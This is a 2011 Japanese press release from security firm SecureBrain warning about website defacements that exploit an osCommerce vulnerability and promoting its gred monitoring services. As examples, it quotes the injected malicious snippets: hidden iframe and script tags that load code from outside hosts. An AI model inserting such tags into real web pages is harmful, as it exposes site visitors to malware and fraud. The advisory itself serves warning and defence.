

2011年8月10日

報道関係各位

株式会社セキュアブレイン

## 「osCommerce」の脆弱性を利用したウェブサイトの改ざん被害が拡大 セキュアブレインが『gred セキュリティサービス』『gred でチェック』で対応

株式会社セキュアブレイン(本社:東京都千代田区、代表取締役社長 兼 CEO:成田 明彦、以下「セキュアブレイン」)は、「osCommerce」の脆弱性を利用したウェブサイト改ざん被害報告の増加を受け、注意喚起を行うと共にセキュアブレインの「gred セキュリティサービス」(製品紹介ページ: <http://www.securebrain.co.jp/products/gred/index.html>)、「gred(グレッド)でチェック」(以下「gred でチェック」)(サービス提供ページ:<http://gred.jp/>)で改ざんされたウェブサイトを検知できることを確認しました。

セキュアブレインの先端技術研究所が調査した、「『osCommerce』の脆弱性を利用したウェブサイトの改ざん攻撃」(以下「osCommerce 攻撃」)の概要は以下の通りです。

※「osCommerce」とは、オープンソースの E-Commerce ソリューションの名称です。

### ● 「Lizymoon 攻撃」に酷似した「osCommerce 攻撃」

2011年4月上旬に当社のブログで、「Lizymoon 攻撃」という新しい改ざん攻撃の報告を行いました。2011年8月になり、この「Lizymoon 攻撃」に酷似した新たな攻撃「osCommerce 攻撃」を検知しました。

「Lizymoon 攻撃」では、正規ウェブサイトの「title タグ」の間に以下に示す不正なコードを埋め込み、ウェブサイトの閲覧者や管理人に改ざんを発見させないテクニックが利用されていました。

【埋め込まれた不正なコード「Lizymoon」の例】

```
</title><script src=http://lizymoon.com/ur.php></script>
```

### ● 「osCommerce 攻撃」の概要

「osCommerce 攻撃」では、改ざんされる箇所が「Lizymoon 攻撃」同様、「title タグ」の間に以下のような不正なコードを埋め込みます。また、「Lizymoon 攻撃」は「script タグ」を利用するのに対し、新しい攻撃では「iframe タグ」も利用し、誘導する URL も異なります。

【「iframe タグ」を利用して埋め込まれた(インジェクションされた)不正なコードの例】

```
<iframe src='http://willysy.com/images/banners/' style='position:absolute:visibility:hidden'></iframe>
```

【「script タグ」を利用して埋め込まれた(インジェクションされた)不正なコードの例】

```
</title><script src=http://exero.eu/catalog/jquery.js></script><title>
```

【上記の不正なコードから誘導される URL の例】

```
http://aktyn.com/jquery.js
```

## ● 「osCommerce」攻撃に見られる変化

- ◆ 「Lizamoon 攻撃」では「title タグ」以外の箇所に「script タグ」を埋め込んだため、「誘導先 URL」が画面に表示されてしまうようなミスと思われる現象が確認できたが、「osCommerce 攻撃」ではそのようなミスは確認されていない。
- ◆ 「iframe タグ」の活用

全般的に以前の攻撃を「より洗練させた」感があります。誘導先の URL は既に閉鎖されている場合が多い為、攻撃の目的ははっきりしませんが、依然として多くの修正されていないウェブサイトが存在しています。

改ざんされたウェブサイトから、マルウェア等の不正プログラムを配布している「危険なウェブサイト」への誘導、また「フィッシング詐欺サイト」や「ワンクリック詐欺サイト」等のインターネット詐欺への悪用により個人情報漏えい等の直接的な被害が発生する可能性があります。また、企業ウェブサイトが改ざんされたまま放置されている事は、その企業の信頼性にも悪影響を及ぼします。

ウェブサイトの運営者、利用者の双方が十分に注意する必要があります。

解説 セキュアブレイン先端技術研究所 神菌雅紀

## ● セキュアブレインがご提供するセキュリティソリューション

セキュアブレインの「gred セキュリティサービス」「gred でチェック」は、osCommerce の脆弱性を利用して改ざんされたウェブサイトを検知できることを確認しています。

【安価ですぐに利用できるウェブサイト監視サービス「gred セキュリティサービス」】

企業のウェブサイトの管理者は、自社のウェブサイトの安全性を、自動で定期的に監視するソリューションが必要です。セキュアブレインでは、企業のウェブサイトが不正に改ざんされていないかを定期的に監視し、問題が発見された場合には、即座に管理者に通知する、SaaS 型セキュリティサービス「gred セキュリティサービス」をご提供しています。

### ■「gred セキュリティサービス」無償トライアルお申込み URL

<http://www.securebrain.co.jp/products/gred/trial.html>

### ■「gred セキュリティサービス」の機能詳細説明 URL

<http://www.securebrain.co.jp/products/gred/function.html>

以上

**セキュアブレインについて:**

株式会社セキュアブレインは、インターネット上の脅威が多様化する中、「より快適で安心できるネットワーク社会を実現するために、一歩進んだ技術で貢献する」というビジョンのもと、信頼性の高いセキュリティ情報と高品質なセキュリティ製品・サービスを提供する日本発のセキュリティの専門企業です。詳細は、[www.securebrain.co.jp](http://www.securebrain.co.jp) をご覧ください。

**◆ 本件に関する報道関係者さまからのお問い合わせ先 ◆**

株式会社セキュアブレイン 広報担当:丸山 芳生(まるやま よしお)

e-mail: [info@securebrain.co.jp](mailto:info@securebrain.co.jp)

電話:03-3234-3001、FAX:03-3234-3002 〒102-0083 東京都千代田区麴町 2-6-7 麴町 RKビル 4F